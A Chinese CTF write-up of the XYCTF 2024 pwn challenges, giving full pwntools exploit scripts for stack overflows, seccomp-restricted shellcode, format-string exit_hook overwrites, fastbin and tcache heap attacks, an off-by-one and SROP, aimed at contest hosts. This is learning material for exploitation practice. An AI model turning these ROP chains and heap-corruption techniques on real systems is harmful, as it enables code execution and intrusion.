[XYCTF新生赛2024] pwn

用了一周来复现crypto部分(不能算是复现,拿着 糖醋小鸡块的WP一点点学了下)。

两天时间复现PWN部分。相对来说PWN比密码这块要简单,不过ARM,MIPS懒得学了,跳过。

malloc_flag

题目先打开flag将建0x100的块,然后把flag读入再free掉块。后边允许建块和show。只要再建个同大小的块然后show就能拿到flag

hello_world

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[20]; // [rsp+0h] [rbp-20h] BYREF

  init();
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  printf("%s", "please input your name: ");
  read(0, buf, 0x48uLL);
  printf("Welcome to XYCTF! %s\n", buf);
  return 0;
}

有两次读入和输出并且可以溢出,第1次输入0x28长得到libc_start_main_ret,第2次再溢出写pop_rdi,bin_sh,system

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
#p = process('./eztext')
p = remote('gz.imxbt.cn', 20022)

p.sendafter(b"please input your name: ", b'A'*0x28)
p.recvuntil(b'A'*0x28)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x29d90

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']

p.sendafter(b"please input your name: ", b'A'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, system))

p.interactive()

Intermittent

是个shellcode题,输入的shellcode被分成3段每断4字节

    write(1, "show your magic: ", 0x11uLL);
    read(0, buf, 0x100uLL);
    for ( i = 0LL; i <= 2; ++i )
      *((_DWORD *)v5 + 4 * i) = buf[i];
    v5();

前边两段需要jmp $+14跳到下一块,用push,pop设置参数后syscall作个read读入后边的shellcode

from pwn import *
context(arch='amd64', log_level='debug')
p = remote('gz.imxbt.cn', 20029)

shellcode = asm("push rdx;pop rsi;jmp $+14;")
shellcode+= asm("push rax;pop rdi;jmp $+14;")
shellcode+= asm("push rsi;pop rdx;syscall;")

p.sendafter(b"show your magic: ", shellcode.ljust(0x100, b'\x90'))
p.send(b'\x90'*0x28 + asm(shellcraft.sh()))

p.interactive()

invisible_flag

第2个shellcode题,但作了seccomp禁用了open,read,readv,write,writev,execve,execveat

用openat打开然后sendfile,可以直接用shellcraft.openat,这是专门手搓个只有0x20字节的。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

p = remote('gz.imxbt.cn', 20029)

#int openat(int dirfd, const char *pathname, int flags, mode_t mode);
#含/flag 0x20字节
shellcode = f"""
push rdx;pop rsi;xor rsi,0x1b;
push rbx;pop rdx;
inc al;inc ah;
syscall;

push 1;pop rdi;
xchg rax,rsi;
/* push rbx;pop rdx; */ /*rdx=0*/
xor r10,r11;
push 0x28;pop rax;
syscall;
"""

p.sendafter(b"show your magic again\n", asm(shellcode).ljust(0x100,b'\x90')+b'/flag')

p.interactive()

fmt

这个格式化字符串漏洞用的是scanf也就是指定参数读入

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf1[32]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  printf("Welcome to xyctf, this is a gift: %p\n", &printf);
  read(0, buf1, 0x20uLL);
  __isoc99_scanf(buf1);
  printf("show your magic");
  return 0;
}

先指定一个偏移读%7$s,再在偏移处写上指针,然后就能把后门写到指针处。

2.31还有exit_hook在rtld_global+3848处,并且与libc位置固定。

在docker上起的时候比本地少0x6000

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.31.so')

p = remote('gz.imxbt.cn', 20038)

p.recvuntil(b"gift: ")
libc.address = int(p.recvline(),16) - libc.sym['printf']

#exit->fs+30->_rtld_global+3848
#0x7ffff7ffdf68 <_rtld_global+3848>:     0x00000000004012be 
exit_hook = libc.address +0x222f68
#exit_hook += 0x6000 #local offset 本地比远程多0x6000
p.send(flat(b'%7$s\0\0\0\0',exit_hook,0,0))

p.sendline(p64(0x4012be))

p.interactive()

 fastfastfast

从题目上看是用fastbinAttack,因为2.31不再允许直接在tcache里double free所以要先填满tcache再在fastbin里double free,第1次泄露libc,第2次写free_hook

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20043)

def add(idx, msg='A'):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"please input note idx\n", str(idx).encode())
    p.sendafter(b"please input content\n", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"please input note idx\n", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"please input note idx\n", str(idx).encode())

#set notes_list[0]->got.puts leak libc
for i in range(9):
    add(i)

for i in range(7):
    free(8-i)

free(0)
free(1)
free(0)

for i in range(7):
    add(2+i)

add(0, p64(0x4040c0))
add(1)
add(10)
add(11, p64(elf.got['puts']))
show(0)
libc.address = u64(p.recv(0x8)) - libc.sym['puts']
print(f"{libc.address = :x}")

#__free_hook->system
for i in range(9):
    add(i)

for i in range(7):
    free(8-i)

free(0)
free(1)
free(0)

for i in range(7):
    add(2+i)

add(0, p64(libc.sym['__free_hook']))
add(1)
add(10, b'/bin/sh\x00')
add(11)
add(11, p64(libc.sym['system']))

free(10)
p.interactive()

ptmalloc2_its_myheap

这题有3道,难度加大。

第1题PIE未开,并且got表可写。直接覆盖free为system

3个题的菜单一样,只有add,free,show,没有edit稍有点麻烦。

add时先写个0x18的管理块,再建数据块,并将指针和大小写到管理块。

free时先free管理块再free数据块,并且未清指针,所以有UAF漏洞。

show是用write写不会出现\0截断。

通过建0x18的块覆盖原来free掉但未清指针的管理块,控制管理块的指针,可以实现任意地址读。

并且可以指定一个位置来 free得到到重叠块,覆盖原tcache的指实在在指定位置建块写数据。

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20044)

def add(idx, size, msg='A'):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())
    p.sendafter(b"[?] Enter chunk data: ", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,0x404018))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")

free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")

free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)

add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(elf.got['free']-8)))
add(3,0x20, b'/bin/sh\0')
add(4,0x20, flat(0, libc.sym['system']))

free(3)
p.interactive()

ptmalloc2_its_myheap_pro

got表不可写了,这里有好多攻击姿势,其中写exit_hook(与上题不一样,2.35没有rtld_global里的exit_hook,这是个tls里的)前几天写过了。通过libc找栈地址,在栈里打到ld地址,通过ld里的rtld_global找到TLS地址在里边写ROP,第1断加密。详见前边一篇。

在得到栈地址后可以直接写栈,这样在返回地址写ROP,感觉更方便处理。前边也写过了

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20075)

def add(idx, size, msg='A'):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())
    p.sendafter(b"[?] Enter chunk data: ", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

add(0,0x20, flat(0,0,0,0x61))
add(1,0x20)
free(0)
free(1)
add(2,0x18, flat(8,1,elf.got['free']))
show(0)
libc.address = u64(p.recv(8)) - libc.sym['free']
print(f"{libc.address = :x}")

free(2)
add(2,0x18, flat(8,1,elf.sym['chunk_list']))
show(1)
heap = u64(p.recv(8)) - 0x2a0
print(f"{heap = :x}")

free(2)
add(2,0x18, flat(8,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8))
print(f"{stack = :x}")

free(2)
add(2,0x18, flat(8,1,stack-0x68))
show(1)
ld_address = u64(p.recv(8)) - 0x3b2e0
print(f"{ld_address = :x}")

_rtld_global = ld_address + 0x3a040
free(2)
add(2,0x18, flat(8,1,_rtld_global+0x20))
show(0)
tls = u64(p.recv(8)) - 0x3150 + 0x740
print(f"{tls = :x}")

free(2)
add(2,0x18, flat(0x10,1,tls+0x28))
show(1)
canary = u64(p.recv(8)) 
pointer_guard = u64(p.recv(8)) 
print(f"{canary = :x} {pointer_guard}")

free(2)
add(2,0x18, flat(8,1,heap+0x2e0))
free(0)

add(1, 0x58, flat(0,0x21,8,1,0,0x31, (heap>>12)^(stack-0x148)))

add(3,0x20, b'/bin/sh\0')

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
add(4,0x28, flat(0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))

p.interactive()

ptmalloc2plus

这个PIE也打开了,不能直接读got表得到libc了,需要用unsort。

这题在seccomp的时候建了很多块然后free,所以tcache里非常乱,乱给它耗掉,然后free0x90块8次利用unsort.fd可以直接得到libc.

还是上题的思路,这次先把ROP写到堆里,在栈里写rbp,leave_ret进行移栈。

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20076)

def add(idx, size, msg='A'):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())
    p.sendafter(b"[?] Enter chunk data: ", msg)

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"[?] Enter chunk id: ", str(idx).encode())

#耗掉前边不连续的0x20块
for i in range(5):
    add(0,0x18)

add(0,0x18)
free(0)
add(1,0x18)
show(1)
heap = u64(p.recv(0x18)[0x10:]) - 0x14a0
print(f"{heap = :x}")

for i in range(9):
    add(i+2,0x80)
for i in range(8):   #unsort +0x19b0
    free(i+2)
for i in range(4):
    add(i+2, 0x18)

free(1)
add(0,0x18, flat(0x18,1,heap+0x19b0))
show(1)
libc.address = u64(p.recv(0x10)[8:]) - 0x21ace0
print(f'{libc.address = :x}')

free(0)
add(1,0x18, flat(0x18,1,libc.sym['_environ']))
show(0)
stack = u64(p.recv(8)) - 0x148 #chunk_add.ret
print(f"{stack = :x}")

free(2)
free(3)
add(2, 0x28, flat(0,0,0,0x41))
add(3, 0x28)

free(2)
free(3)
free(1)
add(0, 0x18, flat(0x38,1, heap+0x19d0))
free(1)
add(1, 0x38, flat(0,0x31, ((heap+0x19d0)>>12)^stack  ))

for i in range(8):
    add(2,0x80)


pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rcx = libc.address + 0x0000000000108b04 # pop rcx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
leave_ret = libc.address + 0x000000000004da83 # leave ; ret
syscall = libc.sym['getpid'] + 9
buf = heap+0x1cf0

#ROP 比块长,分两断,中间用ppp跳过
pay1 = flat([
    pop_rdi, buf, pop_rsi, 0, pop_rax,2, syscall,
    pop_rdi, 3, pop_rsi, buf, pop_rdx, 0x50, 0, 
    pop_rdi+1, pop_rcx
    ])
pay2 = flat([
    pop_rax,0, syscall,
    pop_rdi, 1, pop_rax, 1, syscall
]) +  b'flag\x00'


add(2,0x18,b'2')
free(2)
add(3, 0x80, pay1)
add(4, 0x80, pay2)

add(5, 0x28)
add(5, 0x28, flat(heap+0x1c20-8, leave_ret))

p.interactive()

vuln

这是个静态编译的题,直接用ROPgadget得到ROP再修改一下

from pwn import *
from struct import pack

context(arch='amd64', log_level='debug')

#io = process('./vuln')
io = remote('gz.imxbt.cn', 20077)

#ROPgadget --binary vuln --ropchain
p = b'\x00'*0x28

p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f1f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x0000000000451322) # pop rdx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
p += b'\x3b'+b'\x00'*7
p += pack('<Q', 0x0000000000401cd4) # syscall

io.send(p)
io.interactive()

one_byte

比前边几题多了edit,在edit时可以多输入1字节。可以通过1字节覆盖后边块头变大,free里再建得到重叠块进行tcache攻击。

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('gz.imxbt.cn', 20078)

def add(idx, size):
    p.sendlineafter(b">>> ", b'1')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.sendlineafter(b"[?] Enter chunk size: ", str(size).encode())

def free(idx):
    p.sendlineafter(b">>> ", b'2')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b">>> ", b'3')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())

def edit(idx,msg):
    p.sendlineafter(b">>> ", b'4')
    p.sendlineafter(b"[?] please input chunk_idx: ", str(idx).encode())
    p.send(msg)


add(0,0x18)
add(1,0x18)
add(2,0x200)
add(3,0x200)
add(4,0x18)

edit(2, flat(0,0,0,0x1f1))
edit(0, flat(0,0,0)+b'\x41')
free(1)
add(1, 0x38)
edit(1, flat(0,0,0,0x421))
free(2)
show(1)
libc.address = u64(p.recv(0x28)[0x20:]) - 0x1ecbe0
print(f"{libc.address = :x}")

add(2, 0x18)
free(0)
free(2)
edit(1, flat(b'/bin/sh\0',0,0,0x21, libc.sym['__free_hook']))
add(2, 0x18)
add(0, 0x18)
edit(0, p64(libc.sym['system']))
free(1)
p.interactive()

Guessbook1

边界溢出,可以溢出1字节写到rbp的尾字节,再main_leave_ret时会发生移栈。先把后门写上然后将rbp尾字节改小

from pwn import *
context(arch='amd64', log_level='debug')

#p = process('./pwn')
#gdb.attach(p, "b*0x401320\nc")
p = remote('gz.imxbt.cn', 20079)

def note(idx,name,ids):
    p.sendlineafter(b"index\n", str(idx).encode())
    p.sendafter(b"name:\n", name)
    p.sendlineafter(b"id:\n", str(idx).encode())

for i in range(32):
    note(i, p64(0x401328)*2,i)

note(32,b'A'*0x10, 0)  #rbp = xxx0
p.sendlineafter(b"index\n", b'-1')

p.interactive()

babyGift

这题提示的gift一直没找到有啥用,感觉唯一的用处就是填充了rdi

先用printf;ret得到libc地址,然后调用_start得新开始,再写ROP

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')

#p = process('./vuln')
#gdb.attach(p, "b*0x4012ad\nc")
p = remote('gz.imxbt.cn', 20102)

p.sendlineafter(b"Your name:\n", b'A')
#p.sendlineafter(b"Your passwd:\n", b'%p'*0x10 + flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))
#                                                                                      printf,ret 
p.sendlineafter(b"Your passwd:\n", b'%27$p,%11$p,'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x401202,0x404f00, elf.sym['_start']))

libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True), 16)

#p.sendlineafter(b"Your name:\n", b'A')
p.sendlineafter(b"Your passwd:\n", b'/bin/sh'.ljust(0x20,b'\x00')+ flat(0x404f00, 0x4012ae, libc.sym['system']))

p.interactive()

simple_srop

简单的SROP,并且直接给了mov rax,0xf;syscall,难点就在于ORW至少需要2次但给的read只有0x200不够。需要先移栈到BSS再用srop读入后续的payload。

from pwn import *

context(arch='amd64', log_level='debug')

#libc = ELF('./libc.so.6') #2.31-0ubuntu9.14
elf = ELF('./vuln')

#p = process('./vuln')
#gdb.attach(p, "b*0x4012d4\nc")
p = remote('gz.imxbt.cn', 20108)

sig_ret = 0x401296
syscall = 0x40129d
bss = 0x404800

#move stack to bss
p.send(flat(b'\x00'*0x20, bss, 0x4012b9).ljust(0x200, b'\x00'))

#read(0, bss+0x200,0x600)
pay = b'flag'.ljust(0x20, b'\x00') + flat(bss, sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss + 0x200
frame.rdx = 0x500
frame.rsp = bss + 0x200  #
frame.rip = syscall


pay += bytes(frame)
p.send(pay.ljust(0x200, b'\x00'))

pay = p64(sig_ret)
#open
frame = SigreturnFrame()
frame.rax = 2
frame.rdi = bss - 0x20
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x200 + 0x100  #
frame.rip = syscall
pay += flat(frame)

#read
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*2  #
frame.rip = syscall
pay += flat(frame)

#write
pay += p64(sig_ret)
frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = bss-0x100
frame.rdx = 0x50
frame.rbp = bss
frame.rsp = bss + 0x200 + 0x100*3  #
frame.rip = syscall
pay += flat(frame)

p.send(pay)
p.interactive()

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值